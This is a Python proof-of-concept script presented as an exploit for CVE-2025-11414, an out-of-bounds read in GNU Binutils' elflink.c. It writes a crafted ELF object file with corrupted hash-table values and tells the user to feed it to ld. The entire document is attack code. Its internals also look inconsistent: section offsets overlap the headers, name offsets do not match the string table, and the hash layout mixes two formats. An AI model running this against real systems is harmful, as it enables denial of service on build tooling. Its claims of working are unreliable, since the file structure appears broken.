# CVE-2025-11414 PoC - GNU Binutils elflink.c Out-of-Bounds Read
# This PoC demonstrates triggering the vulnerability in get_link_hash_entry()
# by crafting a malicious ELF object file with corrupted hash table entries.
import struct
import os
def create_malicious_elf():
"""
Create a minimal ELF object file with corrupted .hash section
to trigger out-of-bounds read in get_link_hash_entry().
"""
# ELF header (64-bit, little-endian)
elf_header = bytearray()
elf_header += b'\x7fELF' # e_ident[EI_MAG]
elf_header += b'\x02' # e_ident[EI_CLASS] = ELFCLASS64
elf_header += b'\x01' # e_ident[EI_DATA] = ELFDATA2LSB
elf_header += b'\x01' # e_ident[EI_VERSION] = EV_CURRENT
elf_header += b'\x00' # e_ident[EI_OSABI]
elf_header += b'\x00' * 8 # e_ident padding
elf_header += struct.pack('<H', 1) # e_type = ET_REL (relocatable)
elf_header += struct.pack('<H', 62) # e_machine = EM_X86_64
elf_header += struct.pack('<I', 1) # e_version = EV_CURRENT
elf_header += struct.pack('<Q', 0) # e_entry
elf_header += struct.pack('<Q', 0) # e_phoff
elf_header += struct.pack('<Q', 64) # e_shoff (section header offset)
elf_header += struct.pack('<I', 0) # e_flags
elf_header += struct.pack('<H', 64) # e_ehsize
elf_header += struct.pack('<H', 0) # e_phentsize
elf_header += struct.pack('<H', 0) # e_phnum
elf_header += struct.pack('<H', 64) # e_shentsize
elf_header += struct.pack('<H', 4) # e_shnum (null + .hash + .symtab + .strtab)
elf_header += struct.pack('<H', 3) # e_shstrndx
# Section headers
# SHT_NULL
sh_null = struct.pack('<I', 0) * 16
# .hash section header
sh_hash = struct.pack('<I', 5) # sh_name (offset in string table)
sh_hash += struct.pack('<I', 5) # sh_type = SHT_HASH
sh_hash += struct.pack('<Q', 0) # sh_flags
sh_hash += struct.pack('<Q', 0) # sh_addr
sh_hash += struct.pack('<Q', 128) # sh_offset (after section headers)
sh_hash += struct.pack('<Q', 32) # sh_size (small buffer)
sh_hash += struct.pack('<I', 0) # sh_link
sh_hash += struct.pack('<I', 0) # sh_info
sh_hash += struct.pack('<Q', 8) # sh_addralign
sh_hash += struct.pack('<Q', 0) # sh_entsize
# .symtab section header
sh_symtab = struct.pack('<I', 11) # sh_name
sh_symtab += struct.pack('<I', 2) # sh_type = SHT_SYMTAB
sh_symtab += struct.pack('<Q', 0) # sh_flags
sh_symtab += struct.pack('<Q', 0) # sh_addr
sh_symtab += struct.pack('<Q', 160) # sh_offset
sh_symtab += struct.pack('<Q', 48) # sh_size
sh_symtab += struct.pack('<I', 3) # sh_link (to .strtab)
sh_symtab += struct.pack('<I', 1) # sh_info
sh_symtab += struct.pack('<Q', 8) # sh_addralign
sh_symtab += struct.pack('<Q', 24) # sh_entsize
# .strtab section header
sh_strtab = struct.pack('<I', 19) # sh_name
sh_strtab += struct.pack('<I', 3) # sh_type = SHT_STRTAB
sh_strtab += struct.pack('<Q', 0) # sh_flags
sh_strtab += struct.pack('<Q', 0) # sh_addr
sh_strtab += struct.pack('<Q', 208) # sh_offset
sh_strtab += struct.pack('<Q', 32) # sh_size
sh_strtab += struct.pack('<I', 0) # sh_link
sh_strtab += struct.pack('<I', 0) # sh_info
sh_strtab += struct.pack('<Q', 1) # sh_addralign
sh_strtab += struct.pack('<Q', 0) # sh_entsize
# .hash data - crafted to trigger OOB read
hash_data = struct.pack('<I', 2) # nbucket
hash_data += struct.pack('<I', 0xFFFFFFFF) # symndx (corrupted - causes OOB)
hash_data += struct.pack('<I', 2) # maskwords
hash_data += struct.pack('<I', 0) # shift2
hash_data += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # bucket[0] (corrupted)
hash_data += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # bucket[1] (corrupted)
hash_data += struct.pack('<Q', 0xDEADBEEF) # chain[0] (corrupted)
hash_data += struct.pack('<Q', 0xCAFEBABE) # chain[1] (corrupted)
# .symtab data
symtab_data = struct.pack('<I', 0) # st_name
symtab_data += b'\x00' * 4 # st_info + st_other
symtab_data += struct.pack('<H', 0) # st_shndx
symtab_data += struct.pack('<Q', 0) # st_value
symtab_data += struct.pack('<Q', 0) # st_size
symtab_data = symtab_data.ljust(48, b'\x00')
# .strtab data
strtab_data = b'\x00.hash\x00.symtab\x00.strtab\x00'
strtab_data = strtab_data.ljust(32, b'\x00')
# Assemble the ELF file
elf = elf_header + sh_null + sh_hash + sh_symtab + sh_strtab
elf += hash_data + symtab_data + strtab_data
return bytes(elf)
def main():
elf_data = create_malicious_elf()
output_file = 'malicious.o'
with open(output_file, 'wb') as f:
f.write(elf_data)
print(f"[*] Malicious ELF object file created: {output_file}")
print(f"[*] File size: {len(elf_data)} bytes")
print(f"[*] To trigger the vulnerability, run:")
print(f" ld {output_file}")
print(f"[*] Or with a linker script:")
print(f" ld -T script.ld {output_file}")
print()
print("[!] WARNING: This will trigger an out-of-bounds read in")
print("[!] get_link_hash_entry() in bfd/elflink.c")
if __name__ == '__main__':
main()